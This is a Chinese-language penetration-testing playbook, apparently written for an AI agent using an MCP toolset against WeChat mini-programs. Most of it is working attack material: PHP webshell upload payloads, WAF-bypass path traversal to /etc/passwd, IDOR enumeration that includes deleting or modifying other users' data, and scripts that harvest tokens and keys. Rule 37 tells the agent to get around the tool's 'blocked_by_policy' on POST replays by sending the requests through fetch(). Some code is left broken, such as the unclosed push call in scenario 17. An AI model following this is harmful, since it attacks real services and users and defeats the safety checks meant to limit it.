□ OSS/CDN: oss- / cos. / s3.amazonaws / aliyuncs / myqcloud
□ 第三方 Token: GitHub Token / 钉钉飞书 Webhook / 短信邮件密钥
□ 个人信息: 手机号 / 邮箱 / 身份证号
Phase 5:Vuex State 检查(授权范围内)
# 检查 Vuex store(仅读取,不修改)
runtime_ops(action="inspect_vuex_store")
→ 返回 store.state 结构、mutations、actions
# 修改 state(默认 dryRun=true,需显式确认才执行)
runtime_ops(action="patch_vuex_state",
vuex_path="user.role",
vuex_value="admin",
dry_run=True,
require_confirm=False)
# 恢复快照(同样需 requireConfirm=true)
runtime_ops(action="restore_vuex_state", dry_run=True, require_confirm=False)
Phase 6:报告导出
analysis_ops(action="generate_security_notes")
→ 生成完整 Markdown 安全评估笔记
包含:路由清单 + 按路由分组的接口清单、认证分析、IDOR 候选、
敏感数据暴露、支付接口、签名重放线索、待人工验证项
analysis_ops(action="generate_api_table_markdown")
→ 单独生成接口资产 Markdown 表格(按路由分组)
analysis_ops(action="export_session")
→ 导出完整评估会话 JSON 到 reports/ 目录
MCP 工具完整索引
| 工具名 | action | 主要用途 |
|---|---|---|
connection_ops | status / connect_wmpf / select_appservice_context / list_targets / switch_target | CDP 连接与 target 管理 |
network_ops | hook_wx_request / hook_fetch_and_xhr / get_all_requests / get_request_detail | 流量采集与 Hook 注入 |
network_ops | search_runtime_keywords / trace_request_callstack / inspect_wx_config | 运行时关键词搜索 |
runtime_ops | dump_runtime_snapshot / runtime_eval / runtime_eval_appservice | JS 执行、路由获取与快照 |
runtime_ops | inspect_vuex_store / patch_vuex_state / restore_vuex_state | Vuex Store 检查(需授权) |
runtime_ops | list_interactive_elements / safe_click_and_observe / input_text_and_observe | 页面交互(路由跳转触发) |
debugger_ops | list_scripts / get_script_source / search_in_sources / save_script_source | 源码分析与逆向 |
debugger_ops | break_on_xhr / set_breakpoint_on_text / get_paused_info / step / resume_execution | 动态调试与断点 |
debugger_ops | evaluate_script / get_websocket_messages | 运行时求值和 WS 消息 |
analysis_ops | get_api_inventory / analyze_auth_surface / find_idor_candidates | 接口资产与认证分析 |
analysis_ops | find_sign_related_requests / build_replay_plan / compare_two_requests | 签名重放与请求对比 |
analysis_ops | passive_param_fuzz_suggestions | 参数 Fuzz 建议生成 |
analysis_ops | generate_security_notes / generate_api_table_markdown / export_session | 报告生成与导出 |
decrypt_ops | decode_payload / decrypt_payload / run_decrypt_pipeline | 编码解码与多层解密 |
decrypt_ops | auto_detect_encoding / discover_runtime_crypto_functions / call_runtime_crypto_function | 加密发现与动态调用 |
decrypt_ops | detect_ecb_pattern | ECB 模式检测与块重排攻击 |
pentest_ops | start_pentest_scan / get_pentest_job / list_pentest_jobs | 主动漏洞验证(授权环境) |
reverse_ops | match_reverse_cases / identify_crypto_pattern / detect_reverse_strategy | 逆向分析辅助 |
replay_ops | start_auto_replay / get_replay_job | 自动重放(写操作默认阻断) |
常见场景速查
场景 1:wx.request 未加密,全路由渗透评估
Phase 0 → hook_wx_request
→ Phase 1: 获取路由列表 → 逐路由触发操作 → get_all_requests(标注来源路由)
→ Phase 2: analyze_auth_surface + find_idor_candidates + find_payment_and_order_surfaces
+ find_sensitive_data_exposure + find_sign_related_requests
+ passive_param_fuzz_suggestions
→ Phase 6: generate_security_notes → export_session
场景 2:请求参数加密(AES-CBC,IV 拼在密文前)
# 1. 识别加密参数
auto_detect_encoding(value="<密文>") # → base64
# 2. 从断点获取 key
break_on_xhr(url="/api/") → get_paused_info → evaluate_js("_aesKey")
# 3. 解密(IV 自动从密文前 16 字节提取)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="aes",
key="<提取的key>",
mode="cbc",
input_encoding="base64",
key_encoding="utf-8")
# 4. 解密后对明文参数做渗透分析(走场景 1 流程)
场景 3:唯品会 mina_edata 三层解密
# 见 Phase 3.3 多层流水线示例
# VIP_TANK session token 获取:
evaluate_script("wx.getStorageSync('VIP_TANK') || globalThis.VIP_TANK")
场景 4:签名重放分析(全路由)
# 1. 在全量请求中找出所有签名接口
find_sign_related_requests()
→ 列出所有含 sign/timestamp/nonce 的请求(标注来源路由)
# 2. 对同一接口采集多次请求
# 在不同路由触发同一接口,对比 sign 值变化
compare_two_requests(request_id_a="<第1次>", request_id_b="<第2次>")
# 3. 判断签名绑定范围
build_replay_plan(request_id="<id>")
→ 检查: timestamp 窗口、nonce 是否一次性、签名是否绑定 body
# 4. 手动验证
# 将计划复制到 Burp Repeater 在授权环境中单次测试
场景 5:IDOR 候选验证(跨路由)
find_idor_candidates()
→ 列出含 orderId/userId/memberId 的接口(标注来源路由)
# 对每个候选接口:
compare_two_requests(request_id_a="<账号A请求>", request_id_b="<账号B请求>")
→ 对比两账号请求差异,验证服务端是否正确绑定账号
# 写操作 IDOR(危害更大):
# PUT /api/users/<id> → 改他人资料
# DELETE /api/orders/<id> → 删他人订单
# POST /api/admin/approval → 越权审批
场景 6:动态密钥 Hook 追踪
# 方法 1:XHR 断点
break_on_xhr(url="/api/encrypt")
→ get_paused_info(include_scopes=True)
→ 在作用域中查找 key/iv 变量
# 方法 2:源码搜索 + 文本断点
search_in_sources(query="AES.encrypt|CryptoJS|createCipheriv|encryptData")
set_breakpoint_on_text(text="CryptoJS.AES.encrypt")
→ 触发断点 → evaluate_script("arguments[1]") // 获取 key
场景 7:Webpack 打包逆向
# 1. 检测 Webpack
search_in_sources(query="webpackJsonp|__webpack_require__")
# 2. 定位加密模块
search_in_sources(query="encrypt|decrypt|generateSign")
# 3. 提取模块代码
get_script_source(url="<chunk URL>")
# 4. 搜索模块 ID 引用
search_in_sources(query="__webpack_require__\\(\\d+\\)")
→ 建立 moduleId → 功能 映射表
→ 找到加密函数的 moduleId → 提取该模块代码 → 本地分析
场景 8:JSVMP 虚拟机保护
# 1. 识别 JSVMP
search_in_sources(query="while.*true.*switch|for.*;;.*switch")
→ 命中 → JSVMP 确认
# 2. 路径选择
# 路径 A: Hook 出入口(推荐先试)
hook_wx_request → 对比加密前后参数
→ 如果能从 Hook 日志还原签名公式 → 纯算法还原
# 路径 B: 动态截取(路径 A 失败时)
# 在请求发送前截取最终签名值
runtime_eval("... hook wx.request ...")
→ 在 JSVMP 完成签名后、发送请求前截获
场景 9:ECB 块重排攻击
# 1. 检测 ECB 模式
detect_ecb_pattern(value="<base64密文>")
→ 密文存在重复 16 字节块 → ECB 确认
# 2. 分析明文结构
# ECB 模式下每个 16 字节块独立加密
# 如果明文是 JSON: {"role":"user","name":"attacker"}
# 可以通过重排密文块来构造 {"role":"admin","name":"attacker"}
# 3. 手动构造
# 将 "admin" 块替换到 "user" 块的位置
场景 10:响应解密 + 数据渗漏分析
# 1. 发现加密响应
get_request_detail(request_id="<id>")
→ response.body 是 base64 乱码 → 加密响应
# 2. 追踪解密函数
search_in_sources(query="decrypt|JSON.parse.*atob|decryptData|decryptResp")
→ 定位响应拦截器中的解密逻辑
# 3. Hook 解密函数
break_on_xhr(url="/api/") → step into → 观察解密过程
# 4. 提取解密后的明文数据做渗透分析
场景 11:源码敏感信息扫描
# 1. 列出所有脚本
list_scripts()
# 2. 批量运行敏感信息搜索(按危害等级排序):
# CRITICAL — 云 AK/SK + 微信 AppSecret + 数据库凭据 + 支付密钥
# HIGH — JWT Secret + AES_KEY + RSA 私钥 + 签名密钥
# MEDIUM — 第三方 Token + 内网地址 + 手机号/邮箱
# 3. 逐项复核命中的结果
get_script_source(url="<命中脚本URL>")
→ 读取上下文确认是否为真实凭据(排除注释/测试数据/占位符)
# 4. 生成敏感信息报告(按 Phase 4.7.10 格式)
# 5. 将报告纳入 generate_security_notes
场景 12:路径参数 undefined IDOR
# 1. 识别路径含 /undefined 的请求
network_ops(action="get_all_requests")
→ 过滤: url.includes('/undefined') 或 path.includes('/undefined')
# 典型路径格式:
# /dtkjg_inspection/api/exhibit/getAppExhibitDetail/undefined
# /api/order/detail/undefined
# /user/profile/undefined/info
# 2. 获取原始请求详情
network_ops(action="get_request_detail", request_id="<id>")
→ 提取: url, method, headers, 认证 token
# 3. 替换 undefined 为数字 ID 并主动发送(优先用相邻已知 ID)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var baseUrl='<含 /undefined 的完整URL>';
var headers={'Content-Type':'application/json','Authorization':'Bearer <token>'};
// 若已知某 exhibitId=42,则优先测试邻近范围
var testIds=[1,2,3,10,40,41,42,43,44,100,1000,99999];
var results=[];
for(var id of testIds){
var r=await fetch(baseUrl.replace('/undefined','/'+id),{method:'GET',headers:headers});
var t=await r.text();
results.push({id:id,status:r.status,len:t.length,preview:t.slice(0,400)});
}
return JSON.stringify(results,null,2);
})()")
# 4. 判断
# 不同 ID 返回不同数据 → IDOR 确认
# 返回他人敏感信息 → 严重,立即报告
# 所有 ID 均 403/404 → 有保护,记录为已防御
# undefined 失败但数字 ID 成功 → 重点测试:鉴权可能仅依赖参数存在性
场景 13:JWT / Token 暴露在 URL 查询参数中
# 1. 发现
# 在接口清单或 get_all_requests 中发现 token=eyJ... 出现在 URL query 而非 header
# 典型形式: /v2/checkParams?uid=xxx&token=eyJhbGciOiJIUzI1NiJ9.xxx.xxx&enc=xxx
# 2. 解码 JWT Payload(无需密钥)
# JWT 格式: header.payload.signature,payload 是 base64url 编码
runtime_ops(action="runtime_eval",
expression="(()=>{
var token='<完整JWT>';
var parts=token.split('.');
var pad=s=>s+('==='.slice(0,(4-s.length%4)%4));
var decode=s=>JSON.parse(atob(pad(s.replace(/-/g,'+').replace(/_/g,'/'))));
return JSON.stringify({header:decode(parts[0]),payload:decode(parts[1])},null,2);
})()")
→ 提取: uid/userId/sub/fid/exp/iat 等字段
→ 检查 exp 是否已过期(iat + 86400 = exp)
# 3. 风险确认
# token 出现在 URL → 记录在 Nginx access log / CDN 日志 / Referer 头 → 信息泄露 MEDIUM
# token 仍有效(exp > 当前时间)→ 尝试用该 token 发送请求,确认可复用性
# 如果可复用:对 uid/sub 字段做 IDOR 测试(换 uid 看是否返回他人数据)
# 4. 独立记录为信息泄露发现(不与 IDOR 合并)
# 建议: 改为 Authorization 请求头传输
场景 14:cachedata 脚本——search_in_sources 失效时的运行时搜索
# 前提: list_scripts 显示脚本 URL 以 .cachedata 结尾
# search_in_sources 所有查询均返回 0
# get_script_source 报 "Debugger agent is not enabled"
# 1. 查找加密/签名函数(运行时函数名枚举)
runtime_ops(action="runtime_eval",
expression="(()=>Object.keys(globalThis).filter(k=>
typeof globalThis[k]==='function'&&
/encrypt|decrypt|sign|md5|sha|aes|des|hmac|cipher|encode|getEnc/i.test(k)))()")
→ 命中函数名后,在下一次请求前 hook 该函数观察输入输出
# 2. 在运行时调用发现的加密函数(获取 enc 值)
decrypt_ops(action="discover_runtime_crypto_functions")
decrypt_ops(action="call_runtime_crypto_function",
function_name="<发现的函数名>",
args=["<uid>", "<fid>", "<token>"])
→ 如果成功 → 拿到 enc,可用于 IDOR 测试
# 3. 扫描全局变量中的硬编码密钥
runtime_ops(action="runtime_eval",
expression="(()=>{var r={};for(var k of Object.keys(globalThis||window||{})){
if(/host|gateway|secret|key|token|apiKey|appSecret/i.test(k)){
try{var v=String(globalThis[k]);if(v&&v!='undefined'&&v.length<500)r[k]=v}catch(e){}
}}return JSON.stringify(r)})()")
# 4. Storage 中的密钥扫描(补充)
runtime_ops(action="runtime_eval",
expression="(()=>{try{var keys=wx.getStorageInfoSync().keys;var r={};
keys.filter(k=>/key|token|secret|sign|iv|enc/i.test(k))
.forEach(k=>{try{r[k]=wx.getStorageSync(k)}catch(e){}});return JSON.stringify(r)}
catch(e){return String(e)}})()")
场景 15:多 appId——统一范围,按认证系分类测试
# 核心认知:同一会话中的多个 appId 都属于同一评估目标(同一产品线)
# 不需要分开评估,只需按认证体系分类后统一测试
# 1. 识别所有 appId
network_ops(action="get_all_requests")
→ 提取 Referer: servicewechat.com/{appId}/{version}/page-frame.html
→ 列出所有 appId,如:
# wx83e9ba48cb3bfcca ← 当前 attached target(主入口)
# wx5636748e2379edc0 ← 相关小程序 A
# wxf19adc6d6fb00340 ← 相关小程序 B
# 2. 确认都属于同一产品(检查后端域名是否重叠)
# 快速验证:不同 appId 的请求是否打到相同 API 域名?
# 是 → 同一产品,全部在范围内
# 否 → 向委托方确认授权边界
# 3. 不按 appId 分桶,按认证机制分类建立接口清单
# ┌─────────────────────────────────────────────────────┐
# │ 认证类型 │ 代表接口 │
# │ Bearer JWT │ /v2/userinfor/getWxByUids │
# │ Token+Sign │ /yin/applet/clerk/... │
# │ Cookie │ /api-zd-wap/booking/order/... │
# │ enc 参数 │ /wx/lecture/list │
# └─────────────────────────────────────────────────────┘
# 4. 对每种认证类型执行 Phase 2 测试
# → 认证绕过:用该认证类型的无效/空/伪造凭据测试
# → IDOR:在同一 session 内用本人凭据测试其他用户 ID
# → 跨认证系接口:检查是否存在用 A 系凭据访问 B 系接口的越权路径
# 5. 如需在嵌入小程序上下文中触发新请求(刷新 enc/token)
connection_ops(action="list_targets")
→ 查找对应 appId 的 CDP target(如果仍在线)
connection_ops(action="switch_target", target_id="<targetId>")
→ 切换后执行 select_appservice_context + hook_wx_request
→ 在用户操作下触发接口请求,捕获新的有效凭据
场景 16:认证机制迁移探测(传统登录 → OAuth2)
# 背景:小程序接口全部返回正常,但所有 /login 系列路径均 404
# 1. 执行 Phase 2.8 ① 批量探测
# → 发现 /api/login / /api/auth/login 等全部返回 404
# → 确认传统认证端点已下线
# 2. 探测 OAuth2 / SSO 端点
# → /.well-known/openid-configuration 返回 200
# → 提取 authorization_endpoint / token_endpoint / jwks_uri
# 3. 分析 OAuth2 安全性(主动测试)
runtime_ops(action="runtime_eval", expression="(async ()=>{
// 测试1: redirect_uri 是否严格白名单
var authUrl='<authorization_endpoint>?client_id=xxx&response_type=code'
+'&redirect_uri=https://evil.com&scope=openid&state=test123';
var r=await fetch(authUrl,{method:'GET',redirect:'manual'});
// 302 到 evil.com → 🔴 redirect_uri 未严格校验
return {status:r.status,location:r.headers.get('location')};
})()")
# 4. 检查 Storage 中是否残留旧 token(迁移不完整)
runtime_ops(action="runtime_eval",
expression="(()=>{
try{var keys=wx.getStorageInfoSync().keys;
return keys.filter(k=>/token|auth|bearer|session/i.test(k))
.map(k=>({k:k,v:String(wx.getStorageSync(k)).slice(0,100)}))
}catch(e){return String(e)}})()")
# 有效旧 token → 说明迁移不完整,旧认证系统仍在服务
# 5. 版本差异检测(/v1/ 已修复但 /v2/ 未修复,或反向)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<有效token>';
var versions=['v1','v2','v3'];
var resources=['users','orders','admin'];
var results=[];
for(var v of versions){
for(var res of resources){
var r=await fetch('/api/'+v+'/'+res+'/1',{
headers:{'Authorization':'Bearer '+token}});
results.push({path:'/api/'+v+'/'+res+'/1',status:r.status});
}
}
return JSON.stringify(results.filter(r=>r.status===200),null,2);
})()")
# v1 → 404(已下线),v2 → 200(仍存活)→ API 版本管理缺陷
场景 17:文件上传端点批量探测 + 漏洞验证
# 1. 执行 Phase 2.8 ② 探测,找到返回非 404 的上传端点
→ 与主动探测结果合并,确认真实上传端点列表
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<token>';
var tests=[
// 基线: 合法图片
{label:'baseline_jpg', mime:'image/jpeg', filename:'test.jpg',
body:'GIF89a'},
// 测试1: .php 扩展名(黑名单测试)
{label:'php_ext', mime:'application/octet-stream', filename:'shell.php',
body:'<?php system($_GET[\"cmd\"]); ?>'},
// 测试2: Content-Type 伪造(白名单测试)
{label:'ct_spoof', mime:'image/gif', filename:'shell.php',
body:'GIF89a<?php system($_GET[\"cmd\"]); ?>'},
// 测试3: 双扩展名
{label:'double_ext', mime:'image/gif', filename:'shell.php.gif',
body:'GIF89a<?php system($_GET[\"cmd\"]); ?>'},
// 测试4: .phar(PHP Phar 归档)
{label:'phar_ext', mime:'image/gif', filename:'shell.phar',
body:'GIF89a<?php system($_GET[\"cmd\"]); ?>'},
];
var results=[];
for(var t of tests){
var fd=new FormData();
fd.append('file',new Blob([t.body],{type:t.mime}),t.filename);
var r=await fetch(url,{method:'POST',
headers:{'Authorization':'Bearer '+token},body:fd});
var resp=await r.text();
// 提取上传后的文件路径
var pathMatch=resp.match(/\/[^\s"']+\.(php|gif|jpg|phar)/i);
results.push({label:t.label,status:r.status,
}
return JSON.stringify(results,null,2);
})()")
# 4. 访问上传的文件验证执行
# 返回 "uid=www-data" → 🔴 WebShell 执行成功(严重)
# 返回源码 → 目录禁止 PHP 执行
# 创建含 ../../var/www/html/shell.php 路径的 ZIP 并上传
场景 18:路径遍历 CVE 探针 + WAF 指纹识别
# 1. 执行 Phase 2.8 ③ 探针扫描,观察响应码矩阵
# 2. 响应码解读分支:
#
# 分支 A: 所有 ../变体均返回 404
# → 可能已修补,也可能 WAF 统一返回 404 掩盖真实响应
# → 对策: 尝试双重编码 %252e%252e%252f 绕过 WAF 的字符串匹配
#
# 分支 B: 某路径返回 418
# → 商业 WAF 主动拦截(见 Phase 2.8 ③ WAF 指纹速查表)
# → 读取响应头确认厂商,选择对应绕过策略
#
# 分支 C: /actuator/env 返回 200
# → 🔴 Spring Actuator 未授权访问(无需路径穿越)
# → 立即读取响应,提取 application.properties 中的凭据
#
# 分支 D: 某路径返回 200 + 文件内容
# → 🔴 路径遍历漏洞确认
# → 立即枚举高价值文件(见 Phase 4.7.5 数据库凭据 + .env)
# 3. WAF 绕过序列(418 时按顺序尝试)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var bypasses=[
{label:'double_encode', path:'/%252e%252e/%252e%252e/etc/passwd'},
{label:'path_param', path:'/api;foo=bar/../../../etc/passwd'},
{label:'semicolon', path:'/api..;/../../../etc/passwd'},
{label:'overlong_utf8', path:'/%c0%af%c0%af%c0%af%c0%af%c0%aeetc%c0%afpasswd'},
{label:'unicode_fullwidth',path:'/%uff0e%uff0e%u2215etc%u2215passwd'},
{label:'null_byte', path:'/../../../etc/passwd%00.png'},
];
var results=[];
for(var b of bypasses){
var r=await fetch(b.path,{method:'GET'});
results.push({label:b.label,status:r.status,
preview:(await r.text()).slice(0,150)});
}
return JSON.stringify(results,null,2);
})()")
# status 200 + root:x:0:0 → 🔴 绕过成功,报告哪种编码绕过了 WAF
# 4. CSPT(Client-Side Path Traversal)检测
# 在已采集的 JS 请求中搜索 fetch/XHR 路径包含用户可控变量
network_ops(action="search_runtime_keywords",
keywords=["location.pathname","location.hash","searchParams","URLSearchParams"])
→ 命中 → 检查该路径是否含 ../,可能构成 CSRF via CSPT
场景 19:REST 路由参数枚举 + 行为变化 IDOR
# 1. 执行 Phase 2.8 ④ 枚举,得到返回 200 的端点列表
# 2. 对每个 200 端点逐一分析
# a. 对比 id=1 和 id=2 的响应数据差异
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<token>';
var url='/api/<资源>/<id>';
var ids=[1,2,3,<当前用户ID>];
var results=[];
for(var id of ids){
var r=await fetch(url.replace('<id>',id),{
headers:{'Authorization':'Bearer '+token}});
results.push({id:id,status:r.status,
preview:(await r.text()).slice(0,400)});
}
return JSON.stringify(results,null,2);
})()")
# 不同 ID 返回不同 name/phone/idCard → 🔴 IDOR 确认 → 转 Phase 2.2
# b. 检查 HTTP 方法枚举结果(见 Phase 2.8 ④ 方法枚举模板)
# PUT 200 → 越权修改;DELETE 200 → 越权删除(高危)
# c. 检查 /api/users/undefined(Phase 2.2.1)
network_ops(action="get_all_requests")
→ 过滤 url.includes('/undefined')
→ 若存在且 status=200 → undefined IDOR 测试
# 3. API 版本差异 IDOR(OWASP API9:资产管理不当)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<token>';
var versions=['','v1','v2','v3'];
var results=[];
for(var v of versions){
var prefix=v?'/api/'+v:'/api';
var r=await fetch(prefix+'/users/1',{
headers:{'Authorization':'Bearer '+token}});
results.push({version:v||'无版本前缀',status:r.status,
preview:r.status===200?(await r.text()).slice(0,200):''});
}
return JSON.stringify(results,null,2);
})()")
# v1→403(已修复)但 v2→200(未修复)→ 🔴 API 版本差异漏洞
# 4. 匿名访问测试(不带 token)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var url='/api/<发现的存活资源>/1';
var r=await fetch(url,{method:'GET'}); // 不带 Authorization
return {status:r.status,preview:(await r.text()).slice(0,300)};
})()")
# 无 token 也返回 200 → 🔴 接口根本无认证保护(严重)
经验法则(48 条)
侦察与路由(1-7)
- 先盘点路由,再捕流量:第一步用
getCurrentPages()+__wxConfig.page列出所有页面路径,再逐路由采集 - 每个请求必须标注来源路由:
dump_runtime_snapshot获取当前 route,所有get_all_requests结果按路由分组 - 不要只测当前页面:小程序通常有 10+ 个页面,每个页面都产生不同的接口流量。只测首页会遗漏 60%+ 的接口
- TabBar 页面手动切换:用
wx.switchTab切换 TabBar 页,非 TabBar 页用wx.navigateTo;切回已加载的 Tab 不会重新请求,需调用onPullDownRefresh或onShow强制刷新 - 路由参数影响接口:同一页面不同 query 参数可能触发不同接口(如列表页的筛选条件),逐一测试
- 子包/分包路由也需要遍历:
__wxConfig.subpackages中的分包页面同样产生接口,不可跳过 - 空流量路由最多重试 2 次即跳过:导航后仍无新请求,先尝试
onPullDownRefresh/onShow+ 导航典型子页面;若仍为空则判定为"静态/纯UI路由",记录"[无接口 — 跳过]"后立即进入下一条路由,不要反复在同一路由上耗时
渗透测试(7-14)
- 先盘点资产,再找加密:摸清接口版图再针对性分析
- IDOR 不只看读操作:PUT/DELETE/PATCH 的写越权危害大 10 倍,所有 HTTP 方法都要测
- 响应对比不能只看状态码:200 + 空数据、200 + 相同数据、500 内部报错都需要不同判断
- 认证绕过检查 token 位置:Header → Query → Body 都可能携带 token,逐一测试
- 支付接口只生成计划不自动发送:
build_replay_plan是安全的边界 - 签名分析先收集多次请求:对比 sign 值变化因子(timestamp 精度、nonce 一次性、body 绑定范围)
- 敏感字段关注响应体:手机号/身份证/银行卡/token 在响应中回显即高风险
- Fuzz 前先理解参数语义:数字型/字符串型/枚举型/JSON 型的 Fuzz 策略完全不同
解密分析(15-22)
- 加密参数先看编码:
auto_detect_encoding一秒识别 base64/hex/url,不要猜 - 3DES key 不足 24 字节:CryptoJS 会自动零填充到 24 字节,解密时同步处理
- AES-CBC IV 常在密文前 16 字节:不单独提供 iv 时流水线自动提取
- MD5-Key-Derive 是 vipshop 模式的核心:base_secret + "&" + VIP_TANK → MD5 → AES key
- ECB 块重排是最被低估的攻击向量:相同明文块产生相同密文块 → 可重排
- Padding Oracle 看错误差异:500/padding error vs 200/data error → Oracle 存在
- VIP_TANK 从 Storage 获取:
evaluate_script("wx.getStorageSync('VIP_TANK')") - 响应加密比请求加密更隐蔽:很多小程序只加密响应不解密请求,容易遗漏
逆向分析(23-27)
- 先识别代码保护类型再选工具:Webpack/OB混淆/JSVMP 三种类型处理方式完全不同
- Webpack 拆包先建立 moduleId 映射:
__webpack_require__(N)的 N 是关键,建立映射后快速定位 - Hook 必须在请求发送前安装:
hook_wx_request要在页面加载前注入,否则漏掉首屏请求 - JSVMP 不反编译,Hook 出入口:遇到 VM 保护不要尝试反编译字节码,直接在 XHR/fetch 层面截取
- Storage 是小程序的密钥仓库:
wx.getStorageSync中的 key/token/secret 字段是高频密钥来源
工具与流程(28-30)
- 断点调试优先用 break_on_xhr:比手动 set_breakpoint 更快定位签名/加密函数
- get_paused_info 的 include_scopes=True:在断点处直接看 key/iv 变量值
- export_session 在评估结束时调用:保存完整证据链,方便后续报告和复测
敏感信息检测(31-35)
- 源码扫描是 Phase 4 的第一步不是最后一步:先扫描所有脚本中的硬编码凭据,再深入逆向分析。AK/SK 泄露的修复成本远低于算法破解
- AK 格式是最好的搜索锚点,但不够:腾讯云
AKID、阿里云LTAI、AWSAKIA是精准锚点,但 Webpack 压缩后的自定义 Gateway 配置(accessKey:"xxx")不会被 AKID/LTAI 匹配到,必须加搜accessKey\s*[:"]+gateway配置结构 - search_in_sources 返回 0 不等于真的没有:压缩代码可能因分词问题跳过匹配。搜索后必须执行二次验证:
__wxConfig探查 + 全局变量遍历 + 32 位 hex 串搜索 + 环境关键字搜索 - 凭据泄露必须标记 CRITICAL:前端源码中的 AK/SK/AppSecret/数据库连接串/支付密钥/RSA 私钥 这六类一旦确认,均按最高危害等级报告
- 确定泄露后优先应急响应:立即建议用户轮换密钥,不要继续执行后续渗透步骤延误处置窗口
主动测试(36-39)
- IDOR/认证绕过不能只看静态报告:
find_idor_candidates和analyze_auth_surface只给线索,必须用runtime_eval+fetch主动发送修改后的请求。不用等用户手动去 Burp 验证 - replay_ops 被阻断时换 fetch:
replay_ops对 POST 默认阻断(blocked_by_policy),用runtime_ops(action="runtime_eval")中的fetch()直接从 webview 层发请求,绕过限制且能拿到完整响应 - IDOR 判据是数据差异,不是状态码:BASELINE 有用户数据、IDOR_* 返回了不同的
phone/name/idCard→ IDOR 确认。BASELINE 和 IDOR_* 都返回空data:[]→ 无法判断(需要换有数据填充的接口重测) - 路径中的
/undefined是高价值 IDOR 入口:/api/detail/undefined是 JS 变量未初始化时拼接路径的产物,服务端可能按路径参数直接查数据库。将undefined替换为数字 1/2/3 枚举资源——不要跳过,这类接口往往缺少鉴权(因为客户端根本没传入真实 ID,意味着权限绑定逻辑也可能未覆盖这条路径)
运行时与上下文(40-43)
wx is not defined/getCurrentPages is not defined→ 上下文错误,立即修复:runtime_eval默认运行在 page-frame 上下文,wx/getCurrentPages/__wxConfig只存在于 appservice。遇到这类 ReferenceError 时,先调用connection_ops(action="select_appservice_context")切换上下文再重试,不要反复猜测表达式写法search_in_sources全返回 0 → cachedata 脚本,改用运行时扫描:微信 PC 端小程序脚本常以.cachedata二进制格式缓存,静态文本搜索完全失效。此时用runtime_eval遍历globalThis函数名 +wx.getStorageSync密钥 + 全局变量扫描代替,效果等同甚至更好(能直接拿到运行时的明文值)- JWT/Token 出现在 URL 中是独立 MEDIUM 发现:即使该接口无 IDOR,token 在 URL 中意味着它会被记录在 Nginx access log / CDN 日志 / 浏览器历史 / Referer 头,应单独列为信息泄露漏洞(不要与 IDOR 合并成一条)
- 多 appId = 同一评估目标,按认证系而非 appId 分类:同一 WeChat 会话中出现的多个 appId 均属于同一产品线(同一开发者),无需分开评估。正确做法是:识别所有 appId → 确认后端域名重叠(同一产品)→ 按认证机制(Bearer JWT / Token+Sign / Cookie / enc参数)建立统一接口清单 → 在当前 session 内一次性完成所有接口的 Phase 2 测试
上传点与路由报告(54-56)
- Detail 路由不带 ID 测试等于没测:直接导航
*Detail*路由通常返回空数据或 404,必须先从同模块 list 接口响应中提取真实 ID 再导航,并立即对该接口执行 IDOR 测试(不同 userId/itemId 对比响应差异)。没有 ID 的 Detail 测试结果不可信。 - 每条漏洞报告必须包含「来源路由」:报告中每个漏洞必须注明触发该漏洞的小程序路由路径(如
pages-sub/borrow/my-order/detail),而不只是接口 URL。路由是漏洞复现的入口,也是确认攻击面的关键依据。路由还需检查是否同时存在文件上传功能(如个人信息页同时有头像上传 + 个人信息 IDOR)。 - 敏感信息不只靠正则,运行时变量是盲区:
search_in_sources扫不到getApp().globalData里的 AK/SK,也扫不到 Webpack 模块缓存(__webpack_require__.c)中导出的 config 对象,更扫不到 Storage 里 key 名无害但值含密钥的条目。评估开始时就应并行执行 Phase 4.7.0 全套运行时提取(getApp 递归展开 / webpack 模块遍历 / require 枚举 config 路径 / Storage 全量扫描 / 页面 data 检查),与 4.7.1-4.7.9 正则扫描互补,两路任何一路命中均算有效。 - 地址越权不能只靠 IDOR 候选扫描,必须自己添加地址拿 ID:
find_idor_candidates只能发现流量中已经出现的地址接口。地址编辑/删除场景在未操作时不产生流量。正确做法是:① 主动调用 address/add 提交测试地址获取 addressId;② 用该 ID 作为基准枚举前后各 10 个 ID;③ 尝试 GET/PUT/DELETE 操作他人地址。写越权(修改/删除他人地址)比读越权危害高两个等级,优先测试。 - 订单越权不支付也能测,待支付状态的 orderId 即有效:无需真正支付。提交订单后状态为"待支付",此时 orderId 已存在可用于越权测试。用自己的 orderId 枚举相邻值,测试 GET 订单详情/POST 取消/POST 确认收货。特别注意:① 取消他人订单(可致商家损失);② 确认他人收货(伪造签收,可使商家提前结算);③ 客户端传价格参数 → 价格篡改为 0.01;④ 优惠券 couponId 枚举 → 免费使用他人券。所有资金类操作遵守红线:build_replay_plan 只生成计划不自动发送。
HTTP 响应码行为检测(44-48)
- 404 on login = OAuth2 迁移信号,不等于已安全:传统登录端点返回 404 常意味着认证已切换 OAuth2/OIDC 而非安全问题消失。必须额外检查:① OAuth2 redirect_uri 是否严格白名单;② Storage 中的旧 token 是否仍有效(迁移不完整);③ 旧 API 版本(/v1/ vs /v2/)是否同步迁移(版本差异是高频漏洞来源)
- WAF 418 = 商业 WAF 指纹,也是绕过的起点:HTTP 418 被商业 WAF(Cloudflare/安全狗/宝塔/云锁)借用为阻断标记。收到 418 时:先读响应头/Body 确认 WAF 厂商 → 再针对该厂商的规则盲区选择绕过策略(双重 URL 编码
%252e/ chunked 传输 / 路径参数注入/api;foo=bar/../)。注意 WAF 也可能统一返回 404 掩盖真实响应,不能仅凭 404 排除路径穿越漏洞 - REST 路由 200 + 陌生数据 = 立即转 IDOR 测试:带路由参数的端点返回 200 且响应体包含他人数据字段(phone/name/idCard/orderId)时,无论认证机制如何,这都是 IDOR 确认信号。行为变化(新端点存活、新方法允许)比静态分析结果更可靠——优先检测 DELETE/PUT 方法,写越权比读越权危害高一个等级
- HTTP 方法枚举是 IDOR 的乘数器:发现 GET
/api/users/1→ 200 之后,立即枚举 DELETE / PUT / PATCH。DELETE 200 = 越权删除(高危,立即停止并记录证据);PUT 200 = 越权修改;OPTIONS 返回 Allow 头 = 直接读取服务端允许方法列表。同时检查不同 API 版本(v1/v2/v3)对同一资源的方法权限差异——旧版本常未同步修复
解密算法支持速查表
